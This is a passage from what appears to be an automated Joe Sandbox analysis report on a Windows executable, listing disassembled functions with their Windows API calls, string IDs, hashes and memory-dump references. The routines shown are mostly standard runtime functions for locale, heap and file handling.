                                                    • Instruction Fuzzy Hash: 65018426F09A5246EB209B79E4648382760FF85B74B080334DA3D837DDEF6CE8558304
                                                    Function 00007FFE14634864 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Eval_Thread$RestoreSave_errnoclosesocket
                                                    • String ID:
                                                    • API String ID: 1624953543-0
                                                    • Opcode ID: 1179f49cef2614599ac27385311664bb38b10ace598ec30c3f873f2a9e03a6a8
                                                    • Instruction ID: a670616d1509756cf966f890e21a523766a063164bd8b6ae03c55bae703a2f1d
                                                    • Opcode Fuzzy Hash: 1179f49cef2614599ac27385311664bb38b10ace598ec30c3f873f2a9e03a6a8
                                                    • Instruction Fuzzy Hash: B8F0FF25A18FD586E6545B56B88406973A0EF45BB9B140770DA7E037F4CF7CD8498280
                                                    Function 00007FFDFF1705F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 234COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF158354: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                      • Part of subcall function 00007FFDFF158354: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                    • GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,?,00000092,?,?,CCCCCCC338C48348,00007FFDFF164BF3), ref: 00007FFDFF170694
                                                    • IsValidCodePage.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FFDFF1706B2
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$CodePageValid
                                                    • String ID: utf8
                                                    • API String ID: 3310734898-905460609
                                                    • Opcode ID: 99a36c8dbbc7d0be6f959b360fd60edaaa7f1736fdafd14fb5b43052d4e0ecc6
                                                    • Instruction ID: 0255bf52e318234b5776294878bc3bde1675fbea53c482f8c2052a2a4c76f956
                                                    • Opcode Fuzzy Hash: 99a36c8dbbc7d0be6f959b360fd60edaaa7f1736fdafd14fb5b43052d4e0ecc6
                                                    • Instruction Fuzzy Hash: B8919E23F0864281EB649B12E470EBA23A4AB54B84F454235DABD877DDEF3DE945C740
                                                    Function 00007FF6399D4E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_invalid_parameter_noinfo
                                                    • String ID: ?
                                                    • API String ID: 1286766494-1684325040
                                                    • Opcode ID: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
                                                    • Instruction ID: fe72fabdda4bc426cb955c9b0f78cef64411df7b5e74fe6b4291b00e7cf3a812
                                                    • Opcode Fuzzy Hash: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
                                                    • Instruction Fuzzy Hash: 1A41F912B0868296FB249F259481379A756EF90BA4F184235EE5D86BEFDF3CD4819F00
                                                    Function 00007FFE1A4949B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort$CreateFrameInfo
                                                    • String ID: csm
                                                    • API String ID: 2697087660-1018135373
                                                    • Opcode ID: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
                                                    • Instruction ID: 14119995dc47e694014b7b492482a77a9dbbec41658de7960b08dcc758ea705f
                                                    • Opcode Fuzzy Hash: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
                                                    • Instruction Fuzzy Hash: DA511A76718A4186D6709B16E04027E77A4F78CBA0F1005B6DB8E07B66DF3DE474CB00
                                                    Function 00007FF6399C832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399C835E
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6399BBEC5), ref: 00007FF6399C837C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                    • String ID: C:\Users\user\Desktop\file.exe
                                                    • API String ID: 3580290477-1957095476
                                                    • Opcode ID: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
                                                    • Instruction ID: 5bae80b123212536b551d111b4e4cac4631b50baeae0a1394f1341ae5d065547
                                                    • Opcode Fuzzy Hash: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
                                                    • Instruction Fuzzy Hash: 5C419F32E08B52D5E714DF26A8800BC63DAEF45794B595035EA4E87BCBDE3DE481AF00
                                                    Function 00007FFDFF1724D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF161DA0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FFDFF168732,?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA), ref: 00007FFDFF161DE8
                                                    • InitializeCriticalSectionAndSpinCount.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00000000,00007FFDFF1681F2,?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF1AF296
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00000000,00007FFDFF1681F2,?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF1AF2AC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressAllocCountCriticalHeapInitializeProcSectionSpin
                                                    • String ID: InitializeCriticalSectionEx
                                                    • API String ID: 1188775705-3084827643
                                                    • Opcode ID: e232a6cadf58541bcf4445efba49f07ddff1b408011c8cf896b94f6870ce2d59
                                                    • Instruction ID: 7dd751c765d958365f2191dde7d365f509eb5ba644a249e8c31af9f58aa30ee6
                                                    • Opcode Fuzzy Hash: e232a6cadf58541bcf4445efba49f07ddff1b408011c8cf896b94f6870ce2d59
                                                    • Instruction Fuzzy Hash: 6A41B027F18B5282EB148F25E4209A927A1BB59BA4F444336DA7D8B3DCDF7CE505C700
                                                    Function 00007FF6399CF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentDirectory_invalid_parameter_noinfo
                                                    • String ID: .$:
                                                    • API String ID: 2020911589-4202072812
                                                    • Opcode ID: b6b8c772600cbdc70794b2d8941224a301ca0a48622a5d5cb6a155d5a472d289
                                                    • Instruction ID: bf4df4939de93dd06d8182bfc04cc0b878e9c252535723f49fa895a2b8b456d2
                                                    • Opcode Fuzzy Hash: b6b8c772600cbdc70794b2d8941224a301ca0a48622a5d5cb6a155d5a472d289
                                                    • Instruction Fuzzy Hash: B5412A22F08A5298FB119FA19C511BC27B6AF14758F580039DE4DA7BCEEF389446AF10
                                                    Function 00007FF6399CBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLastWrite
                                                    • String ID: U
                                                    • API String ID: 442123175-4171548499
                                                    • Opcode ID: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
                                                    • Instruction ID: 110170fbe8a2db689817185d1bdf7057fc3ee052df3ceb1c1dbebc7ab13ebe1f
                                                    • Opcode Fuzzy Hash: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
                                                    • Instruction Fuzzy Hash: 16418322A19A4686DB20DF25E8443A97761FB98B94F484031EA4DC779DEF3CD441DF40
                                                    Function 00007FFDFF20439C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLastWrite
                                                    • String ID: U
                                                    • API String ID: 442123175-4171548499
                                                    • Opcode ID: 911a656b47599e8a557d981409cc42cdec7e42ce3219a79a140008da2bdc3c5a
                                                    • Instruction ID: 359e567d4da763d0d867b02f2008bf0def27d5bd90623df46569167a150eeac0
                                                    • Opcode Fuzzy Hash: 911a656b47599e8a557d981409cc42cdec7e42ce3219a79a140008da2bdc3c5a
                                                    • Instruction Fuzzy Hash: A641B223B19A8196DB209F25E454BB967A0FB88784F854231EE6DC379CDF3CD401C740
                                                    Function 00007FFDFF152D1D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • InitializeCriticalSectionAndSpinCount.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FFDFF152DFF
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFDFF152E11
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressCountCriticalInitializeProcSectionSpin
                                                    • String ID: InitializeCriticalSectionEx
                                                    • API String ID: 1498394645-3084827643
                                                    • Opcode ID: ca74f364f2a4fbbce852ed4f3a260196818a35d47723d4fae43e135a95bcf3ea
                                                    • Instruction ID: 996acb4fd4ecb25a5d636ac22d30256f4856455520d6ae1a45827a2871501a30
                                                    • Opcode Fuzzy Hash: ca74f364f2a4fbbce852ed4f3a260196818a35d47723d4fae43e135a95bcf3ea
                                                    • Instruction Fuzzy Hash: B731AE23F18A0242FB549B24E831EB923A1AB95B94F481331D93DC77DDDF6CE6029350
                                                    Function 00007FFDFF1C84DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF1C8550
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressLibraryLoadProc
                                                    • String ID: LCIDToLocaleName$LocaleNameToLCID
                                                    • API String ID: 2574300362-2637756803
                                                    • Opcode ID: 0803b4db6aee0f16591652c5522d05e38b3eba4bd52439a25a26e92b485ce620
                                                    • Instruction ID: 9fbcaec5bc28a4a4c74a8e69436d0045b290e7c06504d10adde302ae45dc512c
                                                    • Opcode Fuzzy Hash: 0803b4db6aee0f16591652c5522d05e38b3eba4bd52439a25a26e92b485ce620
                                                    • Instruction Fuzzy Hash: 7331C252F08B0246FB049B15E8B0AB963A1AB49BA0F444335DE3DD77DDEF6CE9018604
                                                    Function 00007FFDFF15278C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,00000000,00007FFDFF152768), ref: 00007FFDFF1527EA
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressLibraryLoadProc
                                                    • String ID: EnumSystemLocalesEx$LCIDToLocaleName
                                                    • API String ID: 2574300362-3704287933
                                                    • Opcode ID: ba5c36623fc25013090e7993a8c381ecf7052ca350d415b47eab9563a37f7c19
                                                    • Instruction ID: 67ebe505861148c98fee06d52ecd9c6422b6a083d0666e1e03365f7ede0b2c5c
                                                    • Opcode Fuzzy Hash: ba5c36623fc25013090e7993a8c381ecf7052ca350d415b47eab9563a37f7c19
                                                    • Instruction Fuzzy Hash: 8A219562B19A4142FB409B25E8719AA23A1BB84794F445335EE3DCB7ECDF7CE909C740
                                                    Function 00007FFE1A499F44 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: void$void
                                                    • API String ID: 2943138195-3746155364
                                                    • Opcode ID: 7dcf970a61f58172c3a4f39e178d28c376ed2dbead67cac1058dce2bd18ce07b
                                                    • Instruction ID: 80ac3f7184da617a04ae9728b234e2331aebc4b7c9f68e3d4b9cdfc8d991f8bd
                                                    • Opcode Fuzzy Hash: 7dcf970a61f58172c3a4f39e178d28c376ed2dbead67cac1058dce2bd18ce07b
                                                    • Instruction Fuzzy Hash: 7B314766F18B6688FB21CFA1D8410FC77B0BB48B58B4401B6EA4E52B69DF3C9165C750
                                                    Function 00007FFDFF19971C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: void$void
                                                    • API String ID: 2943138195-3746155364
                                                    • Opcode ID: f798b663d1d366c9a3d4dbe8706d2eaf5543caf91456b5b9ccc61436d71a93af
                                                    • Instruction ID: a1f03329b72c78be29da685077d8deba697cf1e79e5cfcd1ac160d724c14498a
                                                    • Opcode Fuzzy Hash: f798b663d1d366c9a3d4dbe8706d2eaf5543caf91456b5b9ccc61436d71a93af
                                                    • Instruction Fuzzy Hash: 9F310872F18A5598FB20CF64E8504FC37B0BB48748B844636DE6D52B9DDF3891448790
                                                    Function 00007FFDFF1C83D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,00000001,00007FFDFF1CA199,?,?,?,00000000,?,00000092,?), ref: 00007FFDFF1C8444
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressLibraryLoadProc
                                                    • String ID: LCIDToLocaleName$LCMapStringEx
                                                    • API String ID: 2574300362-3928102921
                                                    • Opcode ID: e70c7fa6973260308ae2a21681d1779fac78ec1465bd49ba5b862f673e906f43
                                                    • Instruction ID: 8c5aeff965820fb3958a5de2156274195eb999575fe17fec4deed9921ca46956
                                                    • Opcode Fuzzy Hash: e70c7fa6973260308ae2a21681d1779fac78ec1465bd49ba5b862f673e906f43
                                                    • Instruction Fuzzy Hash: 8621A362B08A1682FB548B25E871AB923A2AB54BD0F444335DD3DC77EDEF2CED458244
                                                    Function 00007FF6399CE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentDirectory
                                                    • String ID: :
                                                    • API String ID: 1611563598-336475711
                                                    • Opcode ID: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
